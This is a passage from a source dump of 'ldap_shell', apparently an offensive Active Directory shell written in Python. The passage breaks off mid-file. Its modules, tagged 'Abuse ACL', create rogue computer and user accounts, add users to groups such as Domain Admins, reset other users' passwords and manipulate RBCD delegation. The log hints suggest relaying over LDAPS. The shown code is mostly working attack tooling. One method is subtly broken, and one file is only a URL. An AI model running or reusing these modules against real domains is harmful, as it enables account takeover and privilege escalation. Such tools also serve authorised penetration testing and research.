111 | display_name = entry['attributes'].get('displayName', [None])
112 | cn_value = entry['attributes'].get('cn', [None])
113 | identifier = display_name or cn_value or dn.split(',')[0].split('=')[1]
114 | highlight_color = COLOR_MAPPING['gpo']
115 | else:
116 | continue
117 |
118 | obj_info = {
119 | "identifier": identifier,
120 | "type": obj_type,
121 | "dn": dn,
122 | "color": highlight_color
123 | }
124 | objects.append(obj_info)
125 |
126 | return objects
127 |
--------------------------------------------------------------------------------
/ldap_shell/completers/mask_completer.py:
--------------------------------------------------------------------------------
1 | from prompt_toolkit.completion import Completion
2 | from prompt_toolkit.document import Document
3 | from .base import BaseArgumentCompleter
4 |
5 | class MaskCompleter(BaseArgumentCompleter):
6 | """Completer for mask actions"""
7 |
8 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]:
9 | completions = []
10 |
11 | options = [
12 | "GenericAll",
13 | "AllExtendedRights",
14 | "GenericWrite",
15 | "WriteOwner",
16 | "WriteDacl",
17 | "WriteProperty",
18 | "Delete",
19 | "WriteToRBCD",
20 | "WriteToKeyCredLink"
21 | ]
22 |
23 | for option in options:
24 | if option.startswith(current_word.lower()):
25 | completions.append(Completion(
26 | option,
27 | start_position=-len(current_word),
28 | display=option,
29 | display_meta="Action"
30 | ))
31 |
32 | return completions
--------------------------------------------------------------------------------
/ldap_shell/completers/rbcd_completer.py:
--------------------------------------------------------------------------------
1 | from prompt_toolkit.completion import WordCompleter, Completion
2 | from prompt_toolkit.document import Document
3 | from .base import BaseArgumentCompleter
4 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR
5 | from ldap_shell.utils.ace_utils import AceUtils
6 | from ldap_shell.utils.ldap_utils import LdapUtils
7 |
8 | class RBCDCompleter(BaseArgumentCompleter):
9 | def __init__(self, ldap_connection, domain_dumper):
10 | self.client = ldap_connection
11 | self.domain_dumper = domain_dumper
12 |
13 | def get_completions(self, document, complete_event, current_word):
14 | if not isinstance(document, Document):
15 | return
16 |
17 | text = document.text_before_cursor
18 |
19 | target = text.split()[-2]
20 | if text.endswith(' '):
21 | word_before_cursor = ''
22 | target = text.split()[-1]
23 | else:
24 | word_before_cursor = text.split()[-1]
25 | entry = self.client.search(
26 | self.domain_dumper.root,
27 | f'(sAMAccountName={target})',
28 | attributes=['msDS-AllowedToActOnBehalfOfOtherIdentity']
29 | )
30 | if not entry or len(self.client.entries) != 1:
31 | return
32 |
33 | sd_data = self.client.entries[0]['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values
34 | users_list = []
35 |
36 | if sd_data:
37 | sd = SR_SECURITY_DESCRIPTOR(data=sd_data[0])
38 | for ace in sd['Dacl'].aces:
39 | sid = ace['Ace']['Sid'].formatCanonical()
40 | users_list.append(LdapUtils.sid_to_user(self.client, self.domain_dumper, sid))
41 | else:
42 | return
43 |
44 | for user in users_list:
45 | if word_before_cursor.lower() in user.lower():
46 | yield Completion(
47 | user,
48 | start_position=-len(word_before_cursor),
49 | display=user
50 | )
51 |
--------------------------------------------------------------------------------
/ldap_shell/krb5/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PShlyundin/ldap_shell/ee4df4a582830de900045ae3fdfdd8fea18adf92/ldap_shell/krb5/__init__.py
--------------------------------------------------------------------------------
/ldap_shell/krb5/types.py:
--------------------------------------------------------------------------------
1 | import datetime
2 | import re
3 |
4 | from pyasn1.codec.der import decoder
5 |
6 | from ldap_shell.krb5 import constants, asn1
7 |
8 |
9 | class KerberosException(Exception):
10 | pass
11 |
12 |
13 | def _asn1_decode(data, asn1Spec):
14 | if isinstance(data, str) or isinstance(data, bytes):
15 | data, substrate = decoder.decode(data, asn1Spec=asn1Spec)
16 | if substrate != b'':
17 | raise KerberosException("asn1 encoding invalid")
18 | return data
19 |
20 |
21 | class EncryptedData(object):
22 | def __init__(self):
23 | self.etype = None
24 | self.kvno = None
25 | self.ciphertext = None
26 |
27 | def from_asn1(self, data):
28 | data = _asn1_decode(data, asn1.EncryptedData())
29 | self.etype = constants.EncryptionTypes(data.getComponentByName('etype')).value
30 | kvno = data.getComponentByName('kvno')
31 | if (kvno is None) or (kvno.hasValue() is False):
32 | self.kvno = False
33 | else:
34 | self.kvno = kvno
35 | self.ciphertext = str(data.getComponentByName('cipher'))
36 | return self
37 |
38 | def to_asn1(self, component):
39 | component.setComponentByName('etype', int(self.etype))
40 | if self.kvno:
41 | component.setComponentByName('kvno', self.kvno)
42 | component.setComponentByName('cipher', self.ciphertext)
43 | return component
44 |
45 |
46 | class Principal:
47 | """The principal's value can be supplied as:
48 | * a single string
49 | * a sequence containing a sequence of component strings and a realm string
50 | * a sequence whose first n-1 elemeents are component strings and whose last
51 | component is the realm
52 |
53 | If the value contains no realm, then default_realm will be used."""
54 |
55 | def __init__(self, value=None, default_realm=None, type=None):
56 | self.type = constants.PrincipalNameType.NT_UNKNOWN
57 | self.components = []
58 | self.realm = None
59 |
60 | if value is None:
61 | return
62 |
63 | if isinstance(value, bytes):
64 | value = value.decode('utf-8')
65 |
66 | if isinstance(value, Principal):
67 | self.type = value.type
68 | self.components = value.components[:]
69 | self.realm = value.realm
70 | elif isinstance(value, str):
71 | m = re.match(r'((?:[^\\]|\\.)+?)(@((?:[^\\@]|\\.)+))?$', value)
72 | if not m:
73 | raise KerberosException("invalid principal syntax")
74 |
75 | def unquote_component(comp):
76 | return re.sub(r'\\(.)', r'\1', comp)
77 |
78 | if m.group(2) is not None:
79 | self.realm = unquote_component(m.group(3))
80 | else:
81 | self.realm = default_realm
82 |
83 | self.components = [
84 | unquote_component(qc)
85 | for qc in re.findall(r'(?:[^\\/]|\\.)+', m.group(1))]
86 | elif len(value) == 2:
87 | self.components = value[0]
88 | self.realm = value[-1]
89 | if isinstance(self.components, str):
90 | self.components = [self.components]
91 | elif len(value) >= 2:
92 | self.components = value[0:-1]
93 | self.realm = value[-1]
94 | else:
95 | raise KerberosException("invalid principal value")
96 |
97 | if type is not None:
98 | self.type = type
99 |
100 | def __eq__(self, other):
101 | if isinstance(other, str):
102 | other = Principal(other)
103 |
104 | return (self.type == constants.PrincipalNameType.NT_UNKNOWN.value
105 | or other.type == constants.PrincipalNameType.NT_UNKNOWN.value
106 | or self.type == other.type) \
107 | and all(map(lambda a, b: a == b, self.components, other.components)) \
108 | and self.realm == other.realm
109 |
110 | def __str__(self):
111 | def quote_component(comp):
112 | return re.sub(r'([\\/@])', r'\\\1', comp)
113 |
114 | ret = "/".join([quote_component(c) for c in self.components])
115 | if self.realm is not None:
116 | ret += "@" + self.realm
117 |
118 | return ret
119 |
120 | def __repr__(self):
121 | return "Principal((" + repr(self.components) + ", " + \
122 | repr(self.realm) + "), t=" + str(self.type) + ")"
123 |
124 | def from_asn1(self, data, realm_component, name_component):
125 | name = data.getComponentByName(name_component)
126 | self.type = constants.PrincipalNameType(
127 | name.getComponentByName('name-type')).value
128 | self.components = [
129 | str(c) for c in name.getComponentByName('name-string')]
130 | self.realm = str(data.getComponentByName(realm_component))
131 | return self
132 |
133 | def components_to_asn1(self, name):
134 | name.setComponentByName('name-type', int(self.type))
135 | strings = name.setComponentByName('name-string'
136 | ).getComponentByName('name-string')
137 | for i, c in enumerate(self.components):
138 | strings.setComponentByPosition(i, c)
139 |
140 | return name
141 |
142 |
143 | class Ticket:
144 | def __init__(self):
145 | # This is the kerberos version, not the service principal key
146 | # version number.
147 | self.tkt_vno = None
148 | self.service_principal = None
149 | self.encrypted_part = None
150 |
151 | def from_asn1(self, data):
152 | data = _asn1_decode(data, asn1.Ticket())
153 | self.tkt_vno = int(data.getComponentByName('tkt-vno'))
154 | self.service_principal = Principal()
155 | self.service_principal.from_asn1(data, 'realm', 'sname')
156 | self.encrypted_part = EncryptedData()
157 | self.encrypted_part.from_asn1(data.getComponentByName('enc-part'))
158 | return self
159 |
160 | def to_asn1(self, component):
161 | component.setComponentByName('tkt-vno', 5)
162 | component.setComponentByName('realm', self.service_principal.realm)
163 | asn1.seq_set(component, 'sname',
164 | self.service_principal.components_to_asn1)
165 | asn1.seq_set(component, 'enc-part', self.encrypted_part.to_asn1)
166 | return component
167 |
168 | def __str__(self):
169 | return "" % (str(self.service_principal), str(self.encrypted_part.kvno))
170 |
171 |
172 | class KerberosTime(object):
173 | INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0)
174 |
175 | @staticmethod
176 | def to_asn1(dt):
177 | # A KerberosTime is really just a string, so we can return a
178 | # string here, and the asn1 library will convert it correctly.
179 |
180 | return "%04d%02d%02d%02d%02d%02dZ" % (dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second)
181 |
182 | @staticmethod
183 | def from_asn1(data):
184 | data = str(data)
185 | year = int(data[0:4])
186 | month = int(data[4:6])
187 | day = int(data[6:8])
188 | hour = int(data[8:10])
189 | minute = int(data[10:12])
190 | second = int(data[12:14])
191 | if data[14] != 'Z':
192 | raise KerberosException("timezone in KerberosTime is not Z")
193 | return datetime.datetime(year, month, day, hour, minute, second)
194 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/__init__.py:
--------------------------------------------------------------------------------
1 | def validate_argument(value: str) -> str:
2 | if value.startswith('"') and value.endswith('"'):
3 | return value[1:-1]
4 | if value.startswith("'") and value.endswith("'"):
5 | return value[1:-1]
6 | return value
7 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/add_computer/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection, MODIFY_REPLACE
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.prompt import Prompt
7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
8 | from ldap_shell.utils.ldap_utils import LdapUtils
9 | from ldap_shell.utils.security_utils import SecurityUtils
10 | import re
11 | import ldap3
12 | from ldap3.utils.conv import escape_filter_chars
13 |
14 | class LdapShellModule(BaseLdapModule):
15 | """Module for adding new computer accounts to Active Directory"""
16 |
17 | help_text = "Add a new computer account to the domain"
18 | examples_text = """
19 | Example: Add computer with random password
20 | `add_computer SRV01$`
21 | ```
22 | [INFO] Starting TLS connection...
23 | [INFO] TLS established successfully
24 | [INFO] Computer SRV01$ added successfully to CN=SRV01,CN=Computers,DC=domain,DC=local! Password: "6nJHsGxnVX5MfPK"
25 |
26 | ```
27 | Example: Add computer with specific password
28 | `add_computer SRV01$ "P@ssw0rd123!"`
29 | ```
30 | [INFO] Computer SRV01$ added successfully to CN=SRV01,CN=Computers,DC=domain,DC=local! Password: "P@ssw0rd123!"
31 | ```
32 | Example: Add computer to specific OU
33 | `add_computer SRV01$ "P@ssw0rd123!" "OU=testComputers,DC=domain,DC=local"`
34 | ```
35 | [INFO] Computer SRV01$ added successfully to CN=SRV01,OU=testComputers,DC=domain,DC=local! Password: "P@ssw0rd123!"
36 | ```
37 | """
38 | module_type = "Misc"
39 |
40 | class ModuleArgs(BaseModel):
41 | computer_name: str = Field(
42 | description="Computer account name (must end with $)",
43 | arg_type=ArgumentType.STRING
44 | )
45 | password: Optional[str] = Field(
46 | None,
47 | description="Optional password (random if not specified)",
48 | arg_type=ArgumentType.STRING
49 | )
50 | target_dn: Optional[str] = Field(
51 | None,
52 | description="Target DN to add the computer to",
53 | arg_type=ArgumentType.DN
54 | )
55 |
56 | def __init__(self, args_dict: dict,
57 | domain_dumper: domainDumper,
58 | client: Connection,
59 | log=None):
60 | self.args = self.ModuleArgs(**args_dict)
61 | self.domain_dumper = domain_dumper
62 | self.client = client
63 | self.log = log or logging.getLogger('ldap-shell.shell')
64 |
65 | def __call__(self):
66 | # Validate computer name format
67 | if not self.args.computer_name.endswith('$'):
68 | self.args.computer_name = self.args.computer_name + '$'
69 |
70 | # Check secure connection
71 | if not self.client.tls_started and not self.client.server.ssl:
72 | self.log.info('Starting TLS connection...')
73 | if not self.client.start_tls():
74 | self.log.error("TLS setup failed")
75 | return
76 | self.log.info('TLS established successfully')
77 |
78 | # Generate password if not provided
79 | password = self.args.password or SecurityUtils.generate_password(15)
80 | computer_hostname = self.args.computer_name[:-1]
81 |
82 | try:
83 | # Check if object exists
84 | search_filter = f'(sAMAccountName={escape_filter_chars(self.args.computer_name)})'
85 | if self.client.search(self.domain_dumper.root, search_filter, attributes=['distinguishedName']):
86 | existing_dns = [entry.entry_dn for entry in self.client.entries]
87 | if existing_dns:
88 | self.log.error(f"Computer already exists in locations: {', '.join(existing_dns)}")
89 | return
90 |
91 | computer_dn = f"CN={computer_hostname},{self.args.target_dn or f'CN=Computers,{self.domain_dumper.root}'}"
92 |
93 | # Prepare computer attributes
94 | domain = LdapUtils.get_domain_name(self.domain_dumper.root)
95 | spns = [
96 | f'HOST/{computer_hostname}',
97 | f'HOST/{computer_hostname}.{domain}',
98 | f'RestrictedKrbHost/{computer_hostname}',
99 | f'RestrictedKrbHost/{computer_hostname}.{domain}',
100 | ]
101 | # Create computer object
102 | result = self.client.add(
103 | computer_dn,
104 | ['top', 'person', 'organizationalPerson', 'user', 'computer'],
105 | {
106 | 'sAMAccountName': self.args.computer_name,
107 | 'userAccountControl': 4096,
108 | 'unicodePwd': f'"{password}"'.encode('utf-16-le'),
109 | 'servicePrincipalName': spns,
110 | 'objectCategory': f'CN=Computer,CN=Schema,CN=Configuration,{self.domain_dumper.root}',
111 | 'dnsHostName': f'{computer_hostname}.{domain}',
112 | 'name': computer_hostname,
113 | 'cn': computer_hostname,
114 | 'displayName': computer_hostname
115 | }
116 | )
117 |
118 | if result:
119 | self.log.info(f'Computer {self.args.computer_name} added successfully to {computer_dn}! Password: "{password}"')
120 | else:
121 | error_msg = self.client.result
122 | self.log.error(f'Failed to add computer: {error_msg}')
123 |
124 | except Exception as e:
125 | self.log.error(f'Error adding computer: {str(e)}')
126 | if 'insufficient access rights' in str(e).lower():
127 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials')
128 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/add_group/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection, SUBTREE, MODIFY_ADD
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
7 |
8 | class LdapShellModule(BaseLdapModule):
9 | """Module for adding new groups to Active Directory"""
10 |
11 | help_text = "Add new group to Active Directory"
12 | examples_text = """
13 | Add a new group to default location (CN=Users)
14 | `add_group "Test Group"`
15 |
16 | Add a new group to specific OU
17 | `add_group "Test Group" "OU=testOU,DC=roasting,DC=lab"`
18 | """
19 | module_type = "Misc"
20 |
21 | class ModuleArgs(BaseModel):
22 | group_name: str = Field(
23 | ..., # This argument is required
24 | description="Name of the group to create",
25 | arg_type=[ArgumentType.STRING]
26 | )
27 | target_dn: Optional[str] = Field(
28 | None,
29 | description="Target OU where to create the group (optional)",
30 | arg_type=[ArgumentType.DN]
31 | )
32 |
33 | def __init__(self, args_dict: dict,
34 | domain_dumper: domainDumper,
35 | client: Connection,
36 | log=None):
37 | self.args = self.ModuleArgs(**args_dict)
38 | self.domain_dumper = domain_dumper
39 | self.client = client
40 | self.log = log or logging.getLogger('ldap-shell.shell')
41 |
42 | def __call__(self):
43 | # Check if group already exists
44 | self.client.search(
45 | self.domain_dumper.root,
46 | f'(&(objectClass=group)(sAMAccountName={self.args.group_name}))',
47 | SUBTREE,
48 | attributes=['distinguishedName']
49 | )
50 |
51 | if len(self.client.entries) > 0:
52 | self.log.error(f"Group {self.args.group_name} already exists")
53 | return
54 |
55 | # Form DN for new group
56 | if self.args.target_dn:
57 | group_dn = f"CN={self.args.group_name},{self.args.target_dn}"
58 | else:
59 | group_dn = f"CN={self.args.group_name},CN=Users,{self.domain_dumper.root}"
60 |
61 | # Attributes for group creation
62 | group_attributes = {
63 | 'objectClass': ['top', 'group'],
64 | 'cn': self.args.group_name,
65 | 'name': self.args.group_name,
66 | 'sAMAccountName': self.args.group_name,
67 | 'displayName': self.args.group_name,
68 | 'description': f"Group created via ldap_shell"
69 | }
70 |
71 | # Create group
72 | if self.client.add(group_dn, attributes=group_attributes):
73 | self.log.info(f"Group {self.args.group_name} created successfully at {group_dn}")
74 | else:
75 | self.log.error(f"Failed to create group {self.args.group_name}: {self.client.result}")
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/add_user/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
7 | from ldap_shell.utils.ldap_utils import LdapUtils
8 | from ldap_shell.utils.security_utils import SecurityUtils
9 | import re
10 | from ldap3.utils.conv import escape_filter_chars
11 |
12 | class LdapShellModule(BaseLdapModule):
13 | """Module for adding new user accounts to Active Directory"""
14 |
15 | help_text = "Add a new user account to the domain"
16 | examples_text = """
17 | Example: Add user with random password
18 | `add_user john.doe`
19 | ```
20 | [INFO] Starting TLS connection...
21 | [INFO] TLS established successfully
22 | [INFO] User john.doe added successfully to CN=john.doe,CN=Users,DC=domain,DC=local! Password: "xK9mP2$vL5nR8@q"
23 | ```
24 | Example: Add user with specific password
25 | `add_user john.doe "P@ssw0rd123!"`
26 | ```
27 | [INFO] User john.doe added successfully to CN=john.doe,CN=Users,DC=domain,DC=local! Password: "P@ssw0rd123!"
28 | ```
29 | Example: Add user to specific OU
30 | `add_user john.doe "P@ssw0rd123!" "OU=testUsers,DC=domain,DC=local"`
31 | ```
32 | [INFO] User john.doe added successfully to CN=john.doe,OU=testUsers,DC=domain,DC=local! Password: "P@ssw0rd123!"
33 | ```
34 | """
35 | module_type = "Misc"
36 |
37 | class ModuleArgs(BaseModel):
38 | username: str = Field(
39 | description="Username for the new account",
40 | arg_type=ArgumentType.STRING
41 | )
42 | password: Optional[str] = Field(
43 | None,
44 | description="Optional password (random if not specified)",
45 | arg_type=ArgumentType.STRING
46 | )
47 | target_dn: Optional[str] = Field(
48 | None,
49 | description="Target DN to add the user to",
50 | arg_type=ArgumentType.DN
51 | )
52 |
53 | def __init__(self, args_dict: dict,
54 | domain_dumper: domainDumper,
55 | client: Connection,
56 | log=None):
57 | self.args = self.ModuleArgs(**args_dict)
58 | self.domain_dumper = domain_dumper
59 | self.client = client
60 | self.log = log or logging.getLogger('ldap-shell.shell')
61 |
62 | def __call__(self):
63 | # Check secure connection
64 | if not self.client.tls_started and not self.client.server.ssl:
65 | self.log.info('Starting TLS connection...')
66 | if not self.client.start_tls():
67 | self.log.error("TLS setup failed")
68 | return
69 | self.log.info('TLS established successfully')
70 |
71 | try:
72 | # Check if user exists
73 | search_filter = f'(sAMAccountName={escape_filter_chars(self.args.username)})'
74 | if self.client.search(self.domain_dumper.root, search_filter, attributes=['distinguishedName']):
75 | if self.client.entries:
76 | self.log.error(f'Failed add user: user {self.args.username} already exists!')
77 | return
78 |
79 | # Generate password if not provided
80 | password = self.args.password or SecurityUtils.generate_password(15)
81 |
82 | # Prepare user attributes
83 | new_user_dn = f'CN={self.args.username},{self.args.target_dn or f"CN=Users,{self.domain_dumper.root}"}'
84 | ucd = {
85 | 'objectCategory': f'CN=Person,CN=Schema,CN=Configuration,{self.domain_dumper.root}',
86 | 'distinguishedName': new_user_dn,
87 | 'cn': self.args.username,
88 | 'sn': self.args.username,
89 | 'givenName': self.args.username,
90 | 'displayName': self.args.username,
91 | 'name': self.args.username,
92 | 'userAccountControl': 512,
93 | 'accountExpires': '0',
94 | 'sAMAccountName': self.args.username,
95 | 'unicodePwd': f'"{password}"'.encode('utf-16-le')
96 | }
97 |
98 | # Create user object
99 | result = self.client.add(
100 | new_user_dn,
101 | ['top', 'person', 'organizationalPerson', 'user'],
102 | ucd
103 | )
104 |
105 | if result:
106 | self.log.info(f'User {self.args.username} added successfully to {new_user_dn}! Password: "{password}"')
107 | else:
108 | error_msg = self.client.result
109 | self.log.error(f'Failed to add user: {error_msg}')
110 |
111 | except Exception as e:
112 | self.log.error(f'Error adding user: {str(e)}')
113 | if 'insufficient access rights' in str(e).lower():
114 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials')
115 |
116 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/add_user_to_group/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.prompt import Prompt
7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
8 | import ldap3
9 | from ldap_shell.utils.ldap_utils import LdapUtils
10 |
11 | class LdapShellModule(BaseLdapModule):
12 | """Module for adding a user to a group"""
13 |
14 | help_text = "Add a user to a group"
15 | examples_text = """
16 | Example: add john.doe to Domain Admins group
17 | `add_user_to_group john.doe "Domain Admins"`
18 | ```
19 | [INFO] Successfully added "john.doe" to "Domain Admins"
20 | ```
21 | """
22 | module_type = "Abuse ACL"
23 |
24 | class ModuleArgs(BaseModel):
25 | user: str = Field(
26 | description="Target AD user",
27 | arg_type=[ArgumentType.USER, ArgumentType.GROUP]
28 | )
29 | group: str = Field(
30 | description="Target AD group",
31 | arg_type=ArgumentType.GROUP
32 | )
33 |
34 | def __init__(self, args_dict: dict,
35 | domain_dumper: domainDumper,
36 | client: Connection,
37 | log=None):
38 | self.args = self.ModuleArgs(**args_dict)
39 | self.domain_dumper = domain_dumper
40 | self.client = client
41 | self.log = log or logging.getLogger('ldap-shell.shell')
42 |
43 | def __call__(self):
44 | user_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.user)
45 | if not user_dn:
46 | self.log.error(f'User not found: {self.args.user}')
47 | return
48 |
49 | group_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.group)
50 | if not group_dn:
51 | self.log.error(f'Group not found: {self.args.group}')
52 | return
53 |
54 | try:
55 | res = self.client.modify(
56 | group_dn,
57 | {'member': [(ldap3.MODIFY_ADD, [user_dn])]}
58 | )
59 | except Exception as e:
60 | self.log.error(f'Failed to add user: {str(e)}')
61 | return
62 |
63 | if res:
64 | self.log.info('Successfully added "%s" to "%s"', self.args.user, self.args.group)
65 | # Check if modifying own group membership
66 | current_user = self.client.extend.standard.who_am_i().split(',')[0][3:]
67 | if current_user.lower() == self.args.user.lower():
68 | self.log.warning('You modified your own group membership. Re-login may be required.')
69 | else:
70 | self.log.error('Failed to add user: %s', self.client.result['description'])
71 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/base_module.py:
--------------------------------------------------------------------------------
1 | from enum import Enum, auto
2 | from typing import Dict, List, Optional, Annotated
3 | from pydantic import BaseModel, Field, BeforeValidator
4 | from ldap3 import Connection
5 | from ldapdomaindump import domainDumper
6 |
7 | def parse_attributes(value) -> List[str]:
8 | """Convert input to list of attributes.
9 | Supports single attribute or comma-separated list."""
10 | if isinstance(value, list):
11 | return value
12 | if isinstance(value, str):
13 | return [attr.strip() for attr in value.split(',')] if ',' in value else [value]
14 | return []
15 |
16 | # Custom types for module arguments
17 | AttributesList = Annotated[List[str], BeforeValidator(parse_attributes)]
18 |
19 | class ArgumentType(Enum):
20 | USER = 'user'
21 | COMPUTER = 'computer'
22 | GROUP = 'group'
23 | OU = 'ou'
24 | DIRECTORY = 'directory'
25 | STRING = 'string'
26 | AD_OBJECT = 'ad_object'
27 | ATTRIBUTES = 'attributes'
28 | COMMAND = 'command'
29 | RBCD = 'rbcd'
30 | ADD_DEL = 'add_del'
31 | DN = 'dn'
32 | MASK = 'mask'
33 | BOOLEAN = 'boolean'
34 | ACTION = 'action'
35 |
36 | class ModuleArgument:
37 | def __init__(self, name: str, arg_type: ArgumentType, description: str, required: bool):
38 | self.name = name
39 | self.arg_type = arg_type
40 | self.description = description
41 | self.required = required
42 | class BaseLdapModule:
43 | """Base class for all LDAP modules"""
44 |
45 | @classmethod
46 | def get_module_info(cls):
47 | """Returns module information based on ModuleArgs class"""
48 | return {
49 | "name": cls.__name__,
50 | "description": cls.__doc__ or "",
51 | "arguments": cls.get_arguments()
52 | }
53 |
54 | @classmethod
55 | def get_args_required(cls) -> List[str]:
56 | """Returns a list of required arguments"""
57 | required_args = []
58 | for name, field in cls.ModuleArgs.model_fields.items():
59 | if field.is_required():
60 | required_args.append(f'{name}')
61 | else:
62 | required_args.append(f'[{name}]')
63 | return required_args
64 |
65 | @classmethod
66 | def get_arguments(cls) -> List[ModuleArgument]:
67 | """Returns module arguments from ModuleArgs class"""
68 | arguments = []
69 | for name, field in cls.ModuleArgs.model_fields.items():
70 | arg_type = field.json_schema_extra.get('arg_type', ArgumentType.STRING) if field.json_schema_extra else ArgumentType.STRING
71 | required = field.is_required()
72 | description = field.description or ""
73 | arguments.append(ModuleArgument(name, arg_type, description, required))
74 | return arguments
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/change_password/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.prompt import Prompt
7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
8 | from ldap_shell.utils.ldap_utils import LdapUtils
9 | from ldap_shell.utils.security_utils import SecurityUtils
10 |
11 | class LdapShellModule(BaseLdapModule):
12 | """Module for changing a user's password"""
13 |
14 | help_text = "Attempt to change a given user's password. Requires LDAPS."
15 | examples_text = """
16 | Example: change password for john.doe
17 | `change_password john.doe "NewPassword123!"`
18 | ```
19 | [INFO] Successfully changed password for "john.doe"
20 | ```
21 | """
22 | module_type = "Abuse ACL"
23 |
24 | class ModuleArgs(BaseModel):
25 | user: str = Field(
26 | description="Target AD user",
27 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER]
28 | )
29 | password: Optional[str] = Field(
30 | default=None,
31 | description="New password (optional - random if not specified)",
32 | arg_type=ArgumentType.STRING
33 | )
34 |
35 | def __init__(self, args_dict: dict,
36 | domain_dumper: domainDumper,
37 | client: Connection,
38 | log=None):
39 | self.args = self.ModuleArgs(**args_dict)
40 | self.domain_dumper = domain_dumper
41 | self.client = client
42 | self.log = log or logging.getLogger('ldap-shell.shell')
43 |
44 | def __call__(self):
45 | # Automatically start StartTLS if no secure connection exists
46 | if not self.client.tls_started and not self.client.server.ssl:
47 | self.log.info('Detected insecure connection, attempting to start StartTLS...')
48 | try:
49 | if not self.client.start_tls():
50 | self.log.error("StartTLS failed")
51 | return
52 | self.log.info('StartTLS successfully activated!')
53 | except Exception as e:
54 | self.log.error(f'Error starting StartTLS: {str(e)}')
55 | return
56 |
57 | user_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.user)
58 | if not user_dn:
59 | self.log.error(f'User not found: {self.args.user}')
60 | return
61 |
62 | # Generate password if not specified
63 | password = self.args.password or SecurityUtils.generate_password()
64 |
65 | try:
66 | # Use special method to change password
67 | self.client.extend.microsoft.modify_password(user_dn, password)
68 |
69 | if self.client.result['result'] == 0:
70 | self.log.info('Password changed successfully for "%s"! New password: "%s"',
71 | self.args.user, password)
72 | else:
73 | self.log.error('Password change failed: %s', self.client.result['description'])
74 |
75 | except Exception as e:
76 | self.log.error(f'Failed to change password: {str(e)}')
77 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/clear_rbcd/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.prompt import Prompt
7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
8 | import ldap3
9 | from ldap_shell.utils.ldap_utils import LdapUtils
10 | from ldap_shell.utils.ace_utils import AceUtils
11 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR
12 |
13 | class LdapShellModule(BaseLdapModule):
14 | """Module for clearing RBCD permissions for a target computer"""
15 |
16 | help_text = "Clear RBCD permissions for a target computer"
17 | examples_text = """
18 | Example: clear RBCD permissions from pentest$ to DC01
19 | `clear_rbcd DC01$ pentest$`
20 | ```
21 | [INFO] RBCD permissions cleared successfully! pentest$ can no longer impersonate users on DC01$
22 | ```
23 |
24 | Example: clear all RBCD permissions to DC01$
25 | `clear_rbcd DC01$`
26 | ```
27 | [INFO] RBCD permissions cleared successfully!
28 | ```
29 | """
30 | module_type = "Abuse ACL"
31 |
32 | class ModuleArgs(BaseModel):
33 | target: str = Field(
34 | description="Target computer account",
35 | arg_type=ArgumentType.COMPUTER
36 | )
37 | grantee: Optional[str] = Field(
38 | None,
39 | description="SAM account name of the target computer",
40 | arg_type=[ArgumentType.RBCD]
41 | )
42 |
43 | def __init__(self, args_dict: dict,
44 | domain_dumper: domainDumper,
45 | client: Connection,
46 | log=None):
47 | self.args = self.ModuleArgs(**args_dict)
48 | self.domain_dumper = domain_dumper
49 | self.client = client
50 | self.log = log or logging.getLogger('ldap-shell.shell')
51 |
52 | def __call__(self):
53 | target_sid = None
54 | # Get target information
55 | target_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.target)
56 | if not target_dn:
57 | self.log.error(f'Target computer not found: {self.args.target}')
58 | return
59 |
60 | # Get target SID
61 | if self.args.grantee:
62 | target_sid = LdapUtils.get_sid(self.client, self.domain_dumper, self.args.grantee)
63 |
64 | # Get current security descriptor
65 | try:
66 | entry = self.client.search(
67 | target_dn,
68 | f'(sAMAccountName={self.args.target})',
69 | attributes=['msDS-AllowedToActOnBehalfOfOtherIdentity']
70 | )
71 | if not entry or len(self.client.entries) != 1:
72 | self.log.error('Failed to retrieve target AllowedToActOnBehalfOfOtherIdentity attribute')
73 | return
